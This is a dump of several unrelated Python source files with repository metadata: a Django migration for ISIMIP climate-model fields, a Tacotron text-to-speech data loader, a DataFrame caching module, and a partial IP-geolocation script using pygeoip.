field=models.TextField(blank=True, default='', null=True, verbose_name='Vertical resolution'),
),
migrations.AlterField(
model_name='marineecosystemsregional',
name='defining_features',
field=models.TextField(blank=True, default='', null=True, verbose_name='Defining features'),
),
migrations.AlterField(
model_name='marineecosystemsregional',
name='fishbase_used_for_mass_length_conversion',
field=models.TextField(blank=True, default='', null=True, verbose_name='Is FishBase used for mass-length conversion?'),
),
migrations.AlterField(
model_name='marineecosystemsregional',
name='spatial_dispersal_included',
field=models.TextField(blank=True, default='', null=True, verbose_name='Spatial dispersal included'),
),
migrations.AlterField(
model_name='marineecosystemsregional',
name='spatial_resolution',
field=models.TextField(blank=True, default='', null=True, verbose_name='Spatial resolution'),
),
migrations.AlterField(
model_name='marineecosystemsregional',
name='spatial_scale',
field=models.TextField(blank=True, default='', null=True, verbose_name='Spatial scale'),
),
migrations.AlterField(
model_name='marineecosystemsregional',
name='taxonomic_scope',
field=models.TextField(blank=True, default='', null=True, verbose_name='Taxonomic scope'),
),
migrations.AlterField(
model_name='marineecosystemsregional',
name='temporal_resolution',
field=models.TextField(blank=True, default='', null=True, verbose_name='Temporal resolution'),
),
migrations.AlterField(
model_name='marineecosystemsregional',
name='temporal_scale',
field=models.TextField(blank=True, default='', null=True, verbose_name='Temporal scale'),
),
migrations.AlterField(
model_name='marineecosystemsregional',
name='vertical_resolution',
field=models.TextField(blank=True, default='', null=True, verbose_name='Vertical resolution'),
),
migrations.AlterField(
model_name='otherinformation',
name='anything_else',
field=models.TextField(blank=True, default='', help_text='Anything else necessary to reproduce and/or understand the simulation output', null=True, verbose_name='Additional comments'),
),
migrations.AlterField(
model_name='otherinformation',
name='exceptions_to_protocol',
field=models.TextField(blank=True, default='', help_text='Any settings prescribed by the ISIMIP protocol that were overruled when runing the model', null=True, verbose_name='Exceptions'),
),
migrations.AlterField(
model_name='otherinformation',
name='extreme_events',
field=models.TextField(blank=True, default='', help_text='Key challenges for this model in reproducing impacts of extreme events', null=True, verbose_name='Key challenges'),
),
migrations.AlterField(
model_name='otherinformation',
name='management',
field=models.TextField(blank=True, default='', help_text='Specific management and autonomous adaptation measures applied. E.g. varying sowing dates in crop models, dbh-related harvesting in forest models.', null=True),
),
migrations.AlterField(
model_name='otherinformation',
name='natural_vegetation_cover_dataset',
field=models.TextField(blank=True, default='', help_text='Dataset used if natural vegetation cover is prescribed', null=True),
),
migrations.AlterField(
model_name='otherinformation',
name='natural_vegetation_dynamics',
field=models.TextField(blank=True, default='', help_text='Description of how natural vegetation is simulated dynamically where relevant', null=True),
),
migrations.AlterField(
model_name='otherinformation',
name='natural_vegetation_partition',
field=models.TextField(blank=True, default='', help_text='How areas covered by different types of natural vegetation are partitioned', null=True),
),
migrations.AlterField(
model_name='otherinformation',
name='spin_up_design',
field=models.TextField(blank=True, default='', help_text='Including the length of the spin up, the CO2 concentration used, and any deviations from the spin-up procedure defined in the protocol', null=True, verbose_name='Spin-up design'),
),
migrations.AlterField(
model_name='waterglobal',
name='calibration_catchments',
field=models.TextField(blank=True, default='', null=True, verbose_name='How many catchments were callibrated?'),
),
migrations.AlterField(
model_name='waterglobal',
name='calibration_dataset',
field=models.TextField(blank=True, default='', help_text='E.g. WFD, GSWP3', null=True, verbose_name='Which dataset was used for calibration?'),
),
migrations.AlterField(
model_name='waterglobal',
name='calibration_years',
field=models.TextField(blank=True, default='', null=True, verbose_name='Which years were used for calibration?'),
),
migrations.AlterField(
model_name='waterglobal',
name='dams_reservoirs',
field=models.TextField(blank=True, default='', help_text='Describe how are dams and reservoirs are implemented', null=True, verbose_name='Dam and reservoir implementation'),
),
migrations.AlterField(
model_name='waterglobal',
name='land_use',
field=models.TextField(blank=True, default='', help_text='Which land-use change effects are included?', null=True, verbose_name='Land-use change effects'),
),
migrations.AlterField(
model_name='waterglobal',
name='methods_evapotranspiration',
field=models.TextField(blank=True, default='', null=True, verbose_name='Potential evapotranspiration'),
),
migrations.AlterField(
model_name='waterglobal',
name='methods_snowmelt',
field=models.TextField(blank=True, default='', null=True, verbose_name='Snow melt'),
),
migrations.AlterField(
model_name='waterglobal',
name='routing',
field=models.TextField(blank=True, default='', help_text='How is runoff routed?', null=True, verbose_name='Runoff routing'),
),
migrations.AlterField(
model_name='waterglobal',
name='routing_data',
field=models.TextField(blank=True, default='', help_text='Which routing data are used?', null=True),
),
migrations.AlterField(
model_name='waterglobal',
name='soil_layers',
field=models.TextField(blank=True, default='', help_text='How many soil layers are used? Which qualities do they have?', null=True),
),
migrations.AlterField(
model_name='waterglobal',
name='technological_progress',
field=models.TextField(blank=True, default='', help_text='Does the model account for GDP changes and technological progress? If so, how are these integrated into the runs?', null=True),
),
migrations.AlterField(
model_name='waterglobal',
name='vegetation_representation',
field=models.TextField(blank=True, default='', null=True, verbose_name='How is vegetation represented?'),
),
migrations.AlterField(
model_name='waterglobal',
name='water_sectors',
field=models.TextField(blank=True, default='', help_text='For the global-water-model varsoc and pressoc runs, which water sectors were included? E.g. irrigation, domestic, manufacturing, electricity, livestock.', null=True, verbose_name='Water-use sectors'),
),
migrations.AlterField(
model_name='waterglobal',
name='water_use',
field=models.TextField(blank=True, default='', help_text='Which types of water use are included in the model?', null=True, verbose_name='Water-use types'),
),
migrations.AlterField(
model_name='waterregional',
name='calibration_catchments',
field=models.TextField(blank=True, default='', null=True, verbose_name='How many catchments were callibrated?'),
),
migrations.AlterField(
model_name='waterregional',
name='calibration_dataset',
field=models.TextField(blank=True, default='', help_text='E.g. WFD, GSWP3', null=True, verbose_name='Which dataset was used for calibration?'),
),
migrations.AlterField(
model_name='waterregional',
name='calibration_years',
field=models.TextField(blank=True, default='', null=True, verbose_name='Which years were used for calibration?'),
),
migrations.AlterField(
model_name='waterregional',
name='dams_reservoirs',
field=models.TextField(blank=True, default='', help_text='Describe how are dams and reservoirs are implemented', null=True, verbose_name='Dam and reservoir implementation'),
),
migrations.AlterField(
model_name='waterregional',
name='land_use',
field=models.TextField(blank=True, default='', help_text='Which land-use change effects are included?', null=True, verbose_name='Land-use change effects'),
),
migrations.AlterField(
model_name='waterregional',
name='methods_evapotranspiration',
field=models.TextField(blank=True, default='', null=True, verbose_name='Potential evapotranspiration'),
),
migrations.AlterField(
model_name='waterregional',
name='methods_snowmelt',
field=models.TextField(blank=True, default='', null=True, verbose_name='Snow melt'),
),
migrations.AlterField(
model_name='waterregional',
name='routing',
field=models.TextField(blank=True, default='', help_text='How is runoff routed?', null=True, verbose_name='Runoff routing'),
),
migrations.AlterField(
model_name='waterregional',
name='routing_data',
field=models.TextField(blank=True, default='', help_text='Which routing data are used?', null=True),
),
migrations.AlterField(
model_name='waterregional',
name='soil_layers',
field=models.TextField(blank=True, default='', help_text='How many soil layers are used? Which qualities do they have?', null=True),
),
migrations.AlterField(
model_name='waterregional',
name='technological_progress',
field=models.TextField(blank=True, default='', help_text='Does the model account for GDP changes and technological progress? If so, how are these integrated into the runs?', null=True),
),
migrations.AlterField(
model_name='waterregional',
name='vegetation_representation',
field=models.TextField(blank=True, default='', null=True, verbose_name='How is vegetation represented?'),
),
migrations.AlterField(
model_name='waterregional',
name='water_sectors',
field=models.TextField(blank=True, default='', help_text='For the global-water-model varsoc and pressoc runs, which water sectors were included? E.g. irrigation, domestic, manufacturing, electricity, livestock.', null=True, verbose_name='Water-use sectors'),
),
migrations.AlterField(
model_name='waterregional',
name='water_use',
field=models.TextField(blank=True, default='', help_text='Which types of water use are included in the model?', null=True, verbose_name='Water-use types'),
),
]
| 50.412804 | 371 | 0.62344 | 4,695 | 45,674 | 5.922045 | 0.088179 | 0.128039 | 0.160049 | 0.185657 | 0.913825 | 0.903827 | 0.852719 | 0.799849 | 0.762121 | 0.73716 | 0 | 0.001742 | 0.258396 | 45,674 | 905 | 372 | 50.468508 | 0.819113 | 0.001489 | 0 | 0.858575 | 1 | 0.022272 | 0.29406 | 0.04173 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.002227 | 0 | 0.005568 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
2422a8a54d056df2fc92565ca22da5158a6f026a | 8,665 | py | Python | data_loader/data_generator.py | ys10/Tacotron-cn | 0420aedb3c04359327de58b978198846e7c1a887 | [
"MIT"
] | 2 | 2019-03-07T12:15:16.000Z | 2020-12-14T06:15:31.000Z | data_loader/data_generator.py | ys10/Tacotron-cn | 0420aedb3c04359327de58b978198846e7c1a887 | [
"MIT"
] | null | null | null | data_loader/data_generator.py | ys10/Tacotron-cn | 0420aedb3c04359327de58b978198846e7c1a887 | [
"MIT"
] | null | null | null | # coding=utf-8
import os
import codecs
import re
import numpy as np
from utils.signal_process import load_spectrogram
from utils.embd_load import EmbdMapper, OrigEmbdMapper
def _list2str(temp_list):
return ''.join(temp_list)
def _text_normalize(text, vocab, unk_char):
# replace any oov(out-of-vision) char with a special char: unk_char.
vocab = _list2str(vocab)
text = re.sub('[^{}]'.format(vocab), unk_char, text)
# replace continuous spaces with only one space.
text = re.sub('[ ]+', ' ', text)
return text
class TrainDataGenerator(object):
def __init__(self, config):
self.config = config
self.embd_mapper = EmbdMapper(self.config)
self.char2idx = self.embd_mapper.get_char2idx()
self.lookup_table = self.embd_mapper.get_lookup_table()
self.vocab = self.embd_mapper.get_vocab()
# load data here
if config.language == 'cn': # Chinese
self.fpaths, self.text_lengths, self.texts, self.sample_count = self._load_cn_data(self.config)
else: # English
self.fpaths, self.text_lengths, self.texts, self.sample_count = self._load_en_data(self.config)
def next(self):
for idx in range(self.sample_count):
# load wav
fpath = self.fpaths[idx]
fname, mel, mag = load_spectrogram(fpath, self.config.reduction)
mel_length = len(mel)
mel = mel.tostring()
mag = mag.tostring()
# load text
text = self.texts[idx]
text_length = self.text_lengths[idx]
yield {'text': text, 'text_length': text_length,
'mel': mel, 'mel_length': mel_length,
'mag': mag}
def _load_cn_data(self, config):
# Parse
fpaths, text_lengths, texts = [], [], []
transcript = os.path.join(config.data_path, config.transcription_file)
lines = codecs.open(transcript, 'r', 'utf-8').readlines()
sent_count = len(lines)
for line in lines:
fname, text, *_ = line.strip().split('|')
# wave file path
fpath = os.path.join(config.data_path, fname)
fpaths.append(fpath)
# text
text = _text_normalize(text, self.vocab, self.config.unk_char)
text = [self.char2idx[char] for char in text]
text_lengths.append(len(text))
texts.append(np.array(text, np.int32).tostring())
return fpaths, text_lengths, texts, sent_count
def _load_en_data(self, config):
# Parse
fpaths, text_lengths, texts = [], [], []
transcript = os.path.join(config.data_path, config.transcription_file)
lines = codecs.open(transcript, 'r', 'utf-8').readlines()
sent_count = len(lines)
for line in lines:
fname, _, text = line.strip().split('|')
# wave file path
fpath = os.path.join(config.data_path, 'wavs', fname + '.wav')
fpaths.append(fpath)
# text
text = _text_normalize(text, self.vocab, self.config.unk_char) + 'E' # E: EOS
text = [self.char2idx[char] for char in text]
text_lengths.append(len(text))
texts.append(np.array(text, np.int32).tostring())
return fpaths, text_lengths, texts, sent_count
class PredictDataGenerator(object):
def __init__(self, config):
self.config = config
self.embd_mapper = EmbdMapper(self.config)
self.char2idx = self.embd_mapper.get_char2idx()
self.lookup_table = self.embd_mapper.get_lookup_table()
self.vocab = self.embd_mapper.get_vocab()
# load data here
if self.config == 'cn': # Chinese
self.names, self.text_lengths, self.texts, self.sample_count = self._load_cn_data(self.config)
else: # English
self.names, self.text_lengths, self.texts, self.sample_count = self._load_en_data(self.config)
def next(self):
for idx in range(self.sample_count):
# load text
name = self.names[idx]
text = self.texts[idx]
text_length = self.text_lengths[idx]
yield {'name': name, 'text': text, 'text_length': text_length}
def _load_cn_data(self, config):
# Parse
names, text_lengths, texts = [], [], []
test_file_path = os.path.join(config.data_path, config.test_file)
lines = codecs.open(test_file_path, 'r', 'utf-8').readlines()[1:]
sent_count = len(lines)
print('sent_count_{}'.format(sent_count))
for line in lines:
name, text = line.strip().split('|')
print('text{}'.format(text))
# name
names.append(name)
# text
text = _text_normalize(text, self.vocab, self.config.unk_char)
text = [self.char2idx[char] for char in text]
print('idx_{}'.format(text))
# text length
text_lengths.append(len(text))
texts.append(np.array(text, np.int32).tostring())
return names, text_lengths, texts, sent_count
def _load_en_data(self, config):
# Parse
names, text_lengths, texts = [], [], []
test_file_path = os.path.join(config.data_path, config.test_file)
lines = codecs.open(test_file_path, 'r', 'utf-8').readlines()[1:]
sent_count = len(lines)
print('sent_count_{}'.format(sent_count))
for line in lines:
name, text = line.strip().split('|')
print('text{}'.format(text))
# name
names.append(name)
# text
text = _text_normalize(text, self.vocab, self.config.unk_char) + 'E' # E: EOS
text = [self.char2idx[char] for char in text]
print('idx_{}'.format(text))
# text length
text_lengths.append(len(text))
texts.append(np.array(text, np.int32).tostring())
return names, text_lengths, texts, sent_count
class OrigPredictDataGenerator(object):
def __init__(self, config):
self.config = config
self.embd_mapper = OrigEmbdMapper(self.config)
self.char2idx = self.embd_mapper.get_char2idx()
self.lookup_table = self.embd_mapper.get_lookup_table()
self.vocab = self.embd_mapper.get_vocab()
# load data here
if self.config == 'cn': # Chinese
self.names, self.text_lengths, self.texts, self.sample_count = self._load_cn_data(self.config)
else: # English
self.names, self.text_lengths, self.texts, self.sample_count = self._load_en_data(self.config)
def next(self):
for idx in range(self.sample_count):
# load text
name = self.names[idx]
text = self.texts[idx]
text_length = self.text_lengths[idx]
yield {'name': name, 'text': text, 'text_length': text_length}
def _load_cn_data(self, config):
# Parse
names, text_lengths, texts = [], [], []
test_file_path = os.path.join(config.data_path, config.test_file)
lines = codecs.open(test_file_path, 'r', 'utf-8').readlines()[1:]
sent_count = len(lines)
print('sent_count_{}'.format(sent_count))
for line in lines:
name, text = line.strip().split('|')
print('text{}'.format(text))
# name
names.append(name)
# text
text = _text_normalize(text, self.vocab, self.config.unk_char)
text = [self.char2idx[char] for char in text]
print('idx_{}'.format(text))
# text length
text_lengths.append(len(text))
texts.append(text)
return names, text_lengths, texts, sent_count
def _load_en_data(self, config):
# Parse
names, text_lengths, texts = [], [], []
test_file_path = os.path.join(config.data_path, config.test_file)
lines = codecs.open(test_file_path, 'r', 'utf-8').readlines()[1:]
sent_count = len(lines)
print('sent_count_{}'.format(sent_count))
for line in lines:
name, text = line.strip().split('|')
print('text{}'.format(text))
# name
names.append(name)
# text
text = _text_normalize(text, self.vocab, self.config.unk_char) + 'E' # E: EOS
text = [self.char2idx[char] for char in text]
print('idx_{}'.format(text))
# text length
text_lengths.append(len(text))
texts.append(text)
return names, text_lengths, texts, sent_count
| 39.386364 | 107 | 0.589383 | 1,069 | 8,665 | 4.577175 | 0.105706 | 0.061312 | 0.034335 | 0.031269 | 0.86777 | 0.86777 | 0.860004 | 0.858165 | 0.858165 | 0.858165 | 0 | 0.005335 | 0.286209 | 8,665 | 219 | 108 | 39.56621 | 0.785772 | 0.051125 | 0 | 0.802469 | 0 | 0 | 0.029095 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.08642 | false | 0 | 0.037037 | 0.006173 | 0.191358 | 0.074074 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
2455c511258042843a7f5aa26d634033c04e38a3 | 15,706 | py | Python | kts/storage/caching.py | alexander-ahappydandelion/kts_update_v1 | 016ca31b3cf9512730e31f475738e8150cc1ba01 | [
"MIT"
] | null | null | null | kts/storage/caching.py | alexander-ahappydandelion/kts_update_v1 | 016ca31b3cf9512730e31f475738e8150cc1ba01 | [
"MIT"
] | null | null | null | kts/storage/caching.py | alexander-ahappydandelion/kts_update_v1 | 016ca31b3cf9512730e31f475738e8150cc1ba01 | [
"MIT"
] | null | null | null | from . import cache_utils
from .. import config
import datetime
from glob import glob
import os
import pandas as pd
from .dataframe import DataFrame as KTDF
def allow_service(name):
return name in config.service_names
def allow_all(name):
return True
if config.cache_policy == 'service':
gate = allow_service
elif config.cache_policy == 'everything':
gate = allow_all
else:
raise UserWarning(f'config.cache_policy should be either "service" or "everything". '
f'Now it is "{config.cache_policy}"')
class Cache:
"""
Default LRU cache for DataFrames and objects. Uses both RAM and disk space.
"""
def __init__(self):
self.memory = dict()
self.last_used = dict()
self.edited_at = dict()
self.current_volume = 0
@staticmethod
def set_memory_limit(volume):
"""
Sets a new memory limit in bytes
:param volume: new memory limit
:return:
"""
config.memory_limit = volume
def __release_volume(self, df):
"""
Removes most unpopular dataframes until it is possible to cache given one
:param df: dataframe
:return:
"""
items = sorted([(time, key) for (key, time) in self.last_used.items()])
cur = 0
while self.current_volume + cache_utils.get_df_volume(df) > config.memory_limit:
key = items[cur][1]
cur += 1
self.current_volume -= cache_utils.get_df_volume(self.memory[key])
self.memory.pop(key)
self.last_used.pop(key)
self.edited_at.pop(key)
def is_cached_df(self, name):
"""
Checks whether given df is cached
:param name: name of dataframe
:return: True or False (cache hit or miss)
"""
# dict_name = name + '_df'
# return dict_name in self.memory or os.path.exists(cache_utils.get_path_df(name))
return os.path.exists(cache_utils.get_path_df(name))
def cache_df(self, df, name):
"""
Caches dataframe with given name
:param df: df
:param name: df name
:return:
"""
if not gate(name):
return
if self.is_cached_df(name):
return
if cache_utils.get_df_volume(df) > config.memory_limit:
raise MemoryError
dict_name = name + '_df'
self.__release_volume(df)
cache_utils.save_df(df, cache_utils.get_path_df(name))
self.memory[dict_name] = df
self.current_volume += cache_utils.get_df_volume(df)
self.last_used[dict_name] = datetime.datetime.now()
self.edited_at[dict_name] = cache_utils.get_time(cache_utils.get_path_df(name))
def load_df(self, name):
"""
Loads dataframe from cache
:param name: name of df
:return:
"""
if not self.is_cached_df(name):
raise KeyError("No such df in cache")
dict_name = name + '_df'
self.last_used[dict_name] = datetime.datetime.now()
if dict_name in self.memory:
if self.edited_at[dict_name] != cache_utils.get_time(cache_utils.get_path_df(name)):
self.memory[dict_name] = cache_utils.load_df(cache_utils.get_path_df(name))
self.edited_at[dict_name] = cache_utils.get_time(cache_utils.get_path_df(name))
return self.memory[dict_name]
else:
tmp = cache_utils.load_df(cache_utils.get_path_df(name))
self.__release_volume(tmp)
self.memory[dict_name] = tmp
self.edited_at[dict_name] = cache_utils.get_time(cache_utils.get_path_df(name))
self.current_volume += cache_utils.get_df_volume(tmp)
return tmp
def remove_df(self, name):
"""
Removes dataframe from cache
:param name: name of df
:return:
"""
dict_name = name + '_df'
if dict_name in self.memory:
self.current_volume -= cache_utils.get_df_volume(self.memory[dict_name])
self.memory.pop(dict_name)
if dict_name in self.last_used:
self.last_used.pop(dict_name)
if dict_name in self.edited_at:
self.edited_at.pop(dict_name)
if os.path.exists(cache_utils.get_path_df(name)):
os.remove(cache_utils.get_path_df(name))
@staticmethod
def cached_dfs():
"""
Returns list of cached dataframes
:return:
"""
return [df.split('/')[-1][:-3] for df in
sorted(glob(config.storage_path + '*' + '_df'), key=os.path.getmtime)]
def is_cached_obj(self, name):
"""
Checks whether object is in cache
:param name: name of object
:return: True or False (cache hit or miss)
"""
# dict_name = name + '_obj'
# return dict_name in self.memory or os.path.exists(cache_utils.get_path_obj(name))
return os.path.exists(cache_utils.get_path_obj(name))
def cache_obj(self, obj, name):
"""
Caches object with given name
:param obj: object
:param name: object name
:return:
"""
if self.is_cached_obj(name):
return
dict_name = name + '_obj'
self.memory[dict_name] = obj
cache_utils.save_obj(obj, cache_utils.get_path_obj(name))
self.edited_at[dict_name] = cache_utils.get_time(cache_utils.get_path_obj(name))
def load_obj(self, name):
"""
Loads object from cache
:param name: name of object
:return:
"""
if not self.is_cached_obj(name):
raise KeyError("No such object in cache")
dict_name = name + '_obj'
if dict_name in self.memory:
if self.edited_at[dict_name] != cache_utils.get_time(cache_utils.get_path_obj(name)):
self.memory[dict_name] = cache_utils.load_obj(cache_utils.get_path_obj(name))
self.edited_at[dict_name] = cache_utils.get_time(cache_utils.get_path_obj(name))
return self.memory[dict_name]
else:
tmp = cache_utils.load_obj(cache_utils.get_path_obj(name))
self.memory[dict_name] = tmp
self.edited_at[dict_name] = cache_utils.get_time(cache_utils.get_path_obj(name))
return tmp
def remove_obj(self, name):
"""
Removes object from cache
:param name: name of object
:return:
"""
dict_name = name + '_obj'
if dict_name in self.memory:
self.memory.pop(dict_name)
if dict_name in self.last_used:
self.last_used.pop(dict_name)
if dict_name in self.edited_at:
self.edited_at.pop(dict_name)
if os.path.exists(cache_utils.get_path_obj(name)):
os.remove(cache_utils.get_path_obj(name))
@staticmethod
def cached_objs():
"""
Returns list of cached objects
:return:
"""
return [df.split('/')[-1][:-4] for df in
sorted(glob(config.storage_path + '*' + '_obj'), key=os.path.getmtime)]
class RAMCache:
"""
LRU cache for DataFrames and objects. Uses only RAM, no disk space is consumed.
"""
def __init__(self):
self.memory = dict()
self.last_used = dict()
self.current_volume = 0
@staticmethod
def set_memory_limit(volume):
"""
Sets a new memory limit in bytes
:param volume: new memory limit
:return:
"""
config.memory_limit = volume
def __release_volume(self, df):
"""
Removes most unpopular dataframes until it is possible to cache given one
:param df: dataframe
:return:
"""
items = sorted([(time, key) for (key, time) in self.last_used.items()])
cur = 0
while self.current_volume + cache_utils.get_df_volume(df) > config.memory_limit:
key = items[cur][1]
cur += 1
self.current_volume -= cache_utils.get_df_volume(self.memory[key])
self.memory.pop(key)
self.last_used.pop(key)
def is_cached_df(self, name):
"""
Checks whether given df is cached
:param name: name of dataframe
:return: True or False (cache hit or miss)
"""
dict_name = name + '_df'
return dict_name in self.memory
def cache_df(self, df, name):
"""
Caches dataframe with given name
:param df: df
:param name: df name
:return:
"""
if not gate(name):
return
if self.is_cached_df(name):
return
if cache_utils.get_df_volume(df) > config.memory_limit:
raise MemoryError
dict_name = name + '_df'
self.__release_volume(df)
self.memory[dict_name] = df
self.current_volume += cache_utils.get_df_volume(df)
self.last_used[dict_name] = datetime.datetime.now()
def load_df(self, name):
"""
Loads dataframe from cache
:param name: name of df
:return:
"""
if not self.is_cached_df(name):
raise KeyError("No such df in cache")
dict_name = name + '_df'
self.last_used[dict_name] = datetime.datetime.now()
return self.memory[dict_name]
def remove_df(self, name):
"""
Removes dataframe from cache
:param name: name of df
:return:
"""
dict_name = name + '_df'
if dict_name in self.memory:
self.current_volume -= cache_utils.get_df_volume(self.memory[dict_name])
self.memory.pop(dict_name)
if dict_name in self.last_used:
self.last_used.pop(dict_name)
def cached_dfs(self):
"""
Returns list of cached dataframes
:return:
"""
return [i[:-3] for i in list(self.memory.keys()) if i.endswith('_df')]
def is_cached_obj(self, name):
"""
Checks whether object is in cache
:param name: name of object
:return: True or False (cache hit or miss)
"""
dict_name = name + '_obj'
return dict_name in self.memory
def cache_obj(self, obj, name):
"""
Caches object with given name
:param obj: object
:param name: object name
:return:
"""
if self.is_cached_obj(name):
return
dict_name = name + '_obj'
self.memory[dict_name] = obj
def load_obj(self, name):
"""
Loads object from cache
:param name: name of object
:return:
"""
if not self.is_cached_obj(name):
raise KeyError("No such object in cache")
dict_name = name + '_obj'
return self.memory[dict_name]
def remove_obj(self, name):
"""
Removes object from cache
:param name: name of object
:return:
"""
dict_name = name + '_obj'
if dict_name in self.memory:
self.memory.pop(dict_name)
def cached_objs(self):
"""
Returns list of cached objects
:return:
"""
return [i[:-4] for i in list(self.memory.keys()) if i.endswith('_obj')]
class DiskCache:
"""
Saves and loads directly from disk, no RAM boosting.
"""
def __init__(self):
pass
def is_cached_df(self, name):
"""
Checks whether given df is cached
:param name: name of dataframe
:return: True or False (cache hit or miss)
"""
return os.path.exists(cache_utils.get_path_df(name))
def cache_df(self, df, name):
"""
Caches dataframe with given name
:param df: df
:param name: df name
:return:
"""
if not gate(name):
return
cache_utils.save_df(df, cache_utils.get_path_df(name))
def load_df(self, name):
"""
Loads dataframe from cache
:param name: name of df
:return:
"""
if not self.is_cached_df(name):
raise KeyError("No such df in cache")
return cache_utils.load_df(cache_utils.get_path_df(name))
def remove_df(self, name):
"""
Removes dataframe from cache
:param name: name of df
:return:
"""
if os.path.exists(cache_utils.get_path_df(name)):
os.remove(cache_utils.get_path_df(name))
@staticmethod
def cached_dfs():
"""
Returns list of cached dataframes
:return:
"""
return [df.split('/')[-1][:-3] for df in
sorted(glob(config.storage_path + '*' + '_df'), key=os.path.getmtime)]
def is_cached_obj(self, name):
"""
Checks whether object is in cache
:param name: name of object
:return: True or False (cache hit or miss)
"""
return os.path.exists(cache_utils.get_path_obj(name))
def cache_obj(self, obj, name):
"""
Caches object with given name
:param obj: object
:param name: object name
:return:
"""
if self.is_cached_obj(name):
return
cache_utils.save_obj(obj, cache_utils.get_path_obj(name))
def load_obj(self, name):
"""
Loads object from cache
:param name: name of object
:return:
"""
if not self.is_cached_obj(name):
raise KeyError("No such object in cache")
return cache_utils.load_obj(cache_utils.get_path_obj(name))
def remove_obj(self, name):
"""
Removes object from cache
:param name: name of object
:return:
"""
if os.path.exists(cache_utils.get_path_obj(name)):
os.remove(cache_utils.get_path_obj(name))
@staticmethod
def cached_objs():
"""
Returns list of cached objects
:return:
"""
return [df.split('/')[-1][:-4] for df in
sorted(glob(config.storage_path + '*' + '_obj'), key=os.path.getmtime)]
if config.cache_mode == 'disk_and_ram':
cache = Cache()
elif config.cache_mode == 'ram':
cache = RAMCache()
elif config.cache_mode == 'disk':
cache = DiskCache()
else:
raise UserWarning(f'config.cache_mode should be one of "disk", "disk_and_ram", "ram". '
f'Now it is "{config.cache_mode}"')
USER_SEP = '__USER__'
def save(obj, name):
if name in ls():
raise KeyError("You've already saved object with this name. If you want to overwrite it, first use kts.rm()")
if isinstance(obj, KTDF) or isinstance(obj, pd.DataFrame):
cache.cache_df(obj, name + USER_SEP)
else:
cache.cache_obj(obj, name + USER_SEP)
def ls():
return [df.split('/')[-1][:-4 - len(USER_SEP)] for df in
sorted(glob(config.storage_path + '*' + USER_SEP + '_obj'), key=os.path.getmtime)
] + [df.split('/')[-1][:-3 - len(USER_SEP)] for df in
sorted(glob(config.storage_path + '*' + USER_SEP + '_df'), key=os.path.getmtime)]
def get_type(name):
if cache.is_cached_obj(name + USER_SEP):
return 'obj'
else:
return 'df'
def load(name):
if name not in ls():
raise KeyError("No such object in cache")
if get_type(name) == 'df':
return cache.load_df(name + USER_SEP)
else:
return cache.load_obj(name + USER_SEP)
def remove(name):
if name not in ls():
return
if get_type(name) == 'df':
cache.remove_df(name + USER_SEP)
else:
cache.remove_obj(name + USER_SEP)
rm = remove
| 29.633962 | 117 | 0.58137 | 2,075 | 15,706 | 4.186988 | 0.071807 | 0.060773 | 0.076312 | 0.062615 | 0.880525 | 0.859346 | 0.839779 | 0.814342 | 0.810428 | 0.808932 | 0 | 0.002036 | 0.312174 | 15,706 | 529 | 118 | 29.689981 | 0.802185 | 0.183688 | 0 | 0.745318 | 0 | 0.003745 | 0.050323 | 0.003844 | 0 | 0 | 0 | 0 | 0 | 1 | 0.164794 | false | 0.003745 | 0.026217 | 0.011236 | 0.337079 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
79f79ef78fdc86636e764f1c6dbe556eb234ec42 | 2,238 | py | Python | geo.py | jtmorgan/geomo | c46abcaea0ddb17cd4ad5df4ff5d758ad993260f | [
"MIT"
] | null | null | null | geo.py | jtmorgan/geomo | c46abcaea0ddb17cd4ad5df4ff5d758ad993260f | [
"MIT"
] | null | null | null | geo.py | jtmorgan/geomo | c46abcaea0ddb17cd4ad5df4ff5d758ad993260f | [
"MIT"
] | null | null | null | #Imports
import pygeoip
import re
#city
def geo_city(x):
#Read in MaxMind binary files, storing in memory for speed
ip4_geo = pygeoip.GeoIP(filename = "/usr/share/GeoIP/GeoIPCity.dat", flags = 1)
ip6_geo = pygeoip.GeoIP(filename = "/usr/share/GeoIP/GeoLiteCityv6.dat", flags = 1)
#Create output object
output = []
for entry in x:
#If it's IPV6, use the 6 method
if(re.search(":",entry)):
try:
output.append(ip6_geo.record_by_addr(entry)['city'])
except:
output.append("Invalid")
#4, use 4.
else:
try:
output.append(ip4_geo.record_by_addr(entry)['city'])
except:
output.append("Invalid")
#Done
return output
#country
def geo_country(x):
#Read in MaxMind binary files, storing in memory for speed
ip4_geo = pygeoip.GeoIP(filename = "/usr/share/GeoIP/GeoIP.dat", flags = 1)
ip6_geo = pygeoip.GeoIP(filename = "/usr/share/GeoIP/GeoIPv6.dat", flags = 1)
#Create output list
output = []
#For each entry, retrieve the country code and replace
for entry in x:
#If it's IPV6, use the 6 method
if(re.search(":",entry)):
try:
output.append(ip6_geo.country_code_by_addr(entry))
except:
output.append("Invalid")
#4, use 4.
else:
try:
output.append(ip4_geo.country_code_by_addr(entry))
except:
output.append("Invalid")
#Done
return output
#tz
def geo_tz(x):
#Read in MaxMind binary files, storing in memory for speed
ip4_geo = pygeoip.GeoIP(filename = "/usr/share/GeoIP/GeoIPCity.dat", flags = 1)
ip6_geo = pygeoip.GeoIP(filename = "/usr/share/GeoIP/GeoLiteCityv6.dat", flags = 1)
#Create output list
output = []
#For each entry, retrieve the country code and replace
for entry in x:
#If it's IPV6, use the 6 method
if(re.search(":",entry)):
try:
output.append(ip6_geo.time_zone_by_addr(entry))
except:
output.append("Invalid")
#4, use 4.
